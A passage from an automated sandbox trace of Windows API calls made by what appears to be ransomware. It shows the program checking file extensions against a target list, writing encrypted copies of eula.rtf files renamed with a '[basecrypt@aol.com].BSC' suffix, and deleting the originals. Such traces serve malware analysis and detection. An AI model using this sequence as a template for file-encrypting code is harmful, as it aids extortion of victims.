4 [0102.800] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.800] lstrlenW (lpString=".xlsx") returned 5 [0102.800] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.800] lstrlenW (lpString=".ppt") returned 4 [0102.800] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.800] lstrlenW (lpString=".zip") returned 4 [0102.800] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.800] lstrlenW (lpString=".rar") returned 4 [0102.800] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.800] lstrlenW (lpString=".bz2") returned 4 [0102.800] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.800] lstrlenW (lpString=".7z") returned 3 [0102.800] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.800] lstrlenW (lpString=".dbf") returned 4 [0102.801] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.801] lstrlenW (lpString=".1cd") returned 4 [0102.801] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.801] lstrlenW (lpString=".jpg") returned 4 [0102.801] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.801] lstrlenW (lpString=".doc") returned 4 [0102.801] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.801] lstrlenW (lpString=".docx") returned 5 [0102.801] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.801] lstrlenW (lpString=".pdf") returned 4 [0102.801] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.801] lstrlenW (lpString=".xls") returned 4 [0102.802] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.802] lstrlenW (lpString=".xlsx") returned 5 [0102.802] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.802] lstrlenW (lpString=".ppt") returned 4 [0102.802] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.802] lstrlenW (lpString=".zip") returned 4 [0102.802] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.802] lstrlenW (lpString=".rar") returned 4 [0102.802] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.802] lstrlenW (lpString=".bz2") returned 4 [0102.802] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.802] lstrlenW (lpString=".7z") returned 3 [0102.802] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.802] lstrlenW (lpString=".dbf") returned 4 [0102.802] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.802] lstrlenW (lpString=".1cd") returned 4 [0102.802] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.803] lstrlenW (lpString=".jpg") returned 4 [0102.803] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.803] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.803] lstrlenW (lpString="eula.rtf") returned 8 [0102.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0102.803] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=12687) returned 1 [0102.803] CloseHandle (hObject=0x2ec) returned 1 [0102.803] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0102.803] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.804] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0102.804] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.804] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.804] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0102.804] GetLastError () returned 0x0 [0102.804] ReadFile (in: hFile=0x2ec, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x318f, lpOverlapped=0x0) returned 1 [0102.859] WriteFile (in: hFile=0x318, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x3190, lpOverlapped=0x0) returned 1 [0102.860] ReadFile (in: hFile=0x2ec, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.860] WriteFile (in: hFile=0x318, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.860] SetEndOfFile (hFile=0x318) returned 1 [0102.860] CloseHandle (hObject=0x318) returned 1 [0102.861] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.861] SetEndOfFile (hFile=0x2ec) returned 1 [0102.862] CloseHandle (hObject=0x2ec) returned 1 [0102.862] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.862] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0102.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.862] lstrlenW (lpString=".doc") returned 4 [0102.862] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.862] lstrlenW (lpString=".docx") returned 5 [0102.862] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.862] lstrlenW (lpString=".pdf") returned 4 [0102.862] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.863] lstrlenW (lpString=".xls") returned 4 [0102.863] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.863] lstrlenW (lpString=".xlsx") returned 5 [0102.863] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.863] lstrlenW (lpString=".ppt") returned 4 [0102.863] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.863] lstrlenW (lpString=".zip") returned 4 [0102.863] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.863] lstrlenW (lpString=".rar") returned 4 [0102.863] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.863] lstrlenW (lpString=".bz2") returned 4 [0102.863] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.863] lstrlenW (lpString=".7z") returned 3 [0102.863] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.863] lstrlenW (lpString=".dbf") returned 4 [0102.863] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.863] lstrlenW (lpString=".1cd") returned 4 [0102.863] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.863] lstrlenW (lpString=".jpg") returned 4 [0102.863] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.863] lstrlenW (lpString=".doc") returned 4 [0102.863] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.863] lstrlenW (lpString=".docx") returned 5 [0102.864] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.864] lstrlenW (lpString=".pdf") returned 4 [0102.864] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.864] lstrlenW (lpString=".xls") returned 4 [0102.864] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.864] lstrlenW (lpString=".xlsx") returned 5 [0102.864] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.864] lstrlenW (lpString=".ppt") returned 4 [0102.864] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.864] lstrlenW (lpString=".zip") returned 4 [0102.864] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.864] lstrlenW (lpString=".rar") returned 4 [0102.864] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.864] lstrlenW (lpString=".bz2") returned 4 [0102.864] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.864] lstrlenW (lpString=".7z") returned 3 [0102.864] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.864] lstrlenW (lpString=".dbf") returned 4 [0102.864] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.864] lstrlenW (lpString=".1cd") returned 4 [0102.864] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.864] lstrlenW (lpString=".jpg") returned 4 [0102.864] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.865] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.865] lstrlenW (lpString="eula.rtf") returned 8 [0102.865] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.882] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=3546) returned 1 [0102.882] CloseHandle (hObject=0x34c) returned 1 [0102.882] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0102.883] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.883] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.883] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0102.883] GetLastError () returned 0x0 [0102.883] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0xdda, lpOverlapped=0x0) returned 1 [0102.904] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xde0, lpOverlapped=0x0) returned 1 [0102.905] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.905] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.905] SetEndOfFile (hFile=0x2ec) returned 1 [0102.905] CloseHandle (hObject=0x2ec) returned 1 [0102.906] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.906] SetEndOfFile (hFile=0x34c) returned 1 [0102.907] CloseHandle (hObject=0x34c) returned 1 [0102.907] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.907] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0102.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.908] lstrlenW (lpString=".doc") returned 4 [0102.908] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.908] lstrlenW (lpString=".docx") returned 5 [0102.908] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.908] lstrlenW (lpString=".pdf") returned 4 [0102.908] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.908] lstrlenW (lpString=".xls") returned 4 [0102.908] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.908] lstrlenW (lpString=".xlsx") returned 5 [0102.908] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.908] lstrlenW (lpString=".ppt") returned 4 [0102.908] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.908] lstrlenW (lpString=".zip") returned 4 [0102.908] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.908] lstrlenW (lpString=".rar") returned 4 [0102.908] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.908] lstrlenW (lpString=".bz2") returned 4 [0102.908] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.908] lstrlenW (lpString=".7z") returned 3 [0102.908] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.909] lstrlenW (lpString=".dbf") returned 4 [0102.909] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.909] lstrlenW (lpString=".1cd") returned 4 [0102.909] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.909] lstrlenW (lpString=".jpg") returned 4 [0102.909] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.909] lstrlenW (lpString=".doc") returned 4 [0102.909] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.909] lstrlenW (lpString=".docx") returned 5 [0102.909] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.909] lstrlenW (lpString=".pdf") returned 4 [0102.909] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.909] lstrlenW (lpString=".xls") returned 4 [0102.909] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.909] lstrlenW (lpString=".xlsx") returned 5 [0102.909] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.909] lstrlenW (lpString=".ppt") returned 4 [0102.909] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.909] lstrlenW (lpString=".zip") returned 4 [0102.909] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.909] lstrlenW (lpString=".rar") returned 4 [0102.909] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.909] lstrlenW (lpString=".bz2") returned 4 [0102.909] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.909] lstrlenW (lpString=".7z") returned 3 [0102.909] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.910] lstrlenW (lpString=".dbf") returned 4 [0102.910] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.910] lstrlenW (lpString=".1cd") returned 4 [0102.910] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0102.910] lstrlenW (lpString=".jpg") returned 4 [0102.910] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.910] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.910] lstrlenW (lpString="eula.rtf") returned 8 [0102.910] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.910] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=3046) returned 1 [0102.910] CloseHandle (hObject=0x34c) returned 1 [0102.910] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0102.910] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.911] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.911] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0102.911] GetLastError () returned 0x0 [0102.911] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0xbe6, lpOverlapped=0x0) returned 1 [0103.014] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0103.015] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.015] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.015] SetEndOfFile (hFile=0x2ec) returned 1 [0103.015] CloseHandle (hObject=0x2ec) returned 1 [0103.016] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.016] SetEndOfFile (hFile=0x34c) returned 1 [0103.017] CloseHandle (hObject=0x34c) returned 1 [0103.017] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.018] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0103.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.018] lstrlenW (lpString=".doc") returned 4 [0103.018] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.018] lstrlenW (lpString=".docx") returned 5 [0103.018] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.018] lstrlenW (lpString=".pdf") returned 4 [0103.018] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.018] lstrlenW (lpString=".xls") returned 4 [0103.018] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.018] lstrlenW (lpString=".xlsx") returned 5 [0103.018] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.018] lstrlenW (lpString=".ppt") returned 4 [0103.019] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.019] lstrlenW (lpString=".zip") returned 4 [0103.019] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.019] lstrlenW (lpString=".rar") returned 4 [0103.019] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.019] lstrlenW (lpString=".bz2") returned 4 [0103.019] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.019] lstrlenW (lpString=".7z") returned 3 [0103.019] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.019] lstrlenW (lpString=".dbf") returned 4 [0103.019] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.019] lstrlenW (lpString=".1cd") returned 4 [0103.019] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.019] lstrlenW (lpString=".jpg") returned 4 [0103.019] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.019] lstrlenW (lpString=".doc") returned 4 [0103.019] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.019] lstrlenW (lpString=".docx") returned 5 [0103.020] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.020] lstrlenW (lpString=".pdf") returned 4 [0103.020] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.020] lstrlenW (lpString=".xls") returned 4 [0103.020] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.020] lstrlenW (lpString=".xlsx") returned 5 [0103.020] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.020] lstrlenW (lpString=".ppt") returned 4 [0103.020] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.020] lstrlenW (lpString=".zip") returned 4 [0103.020] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.020] lstrlenW (lpString=".rar") returned 4 [0103.020] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.020] lstrlenW (lpString=".bz2") returned 4 [0103.020] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.020] lstrlenW (lpString=".7z") returned 3 [0103.020] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 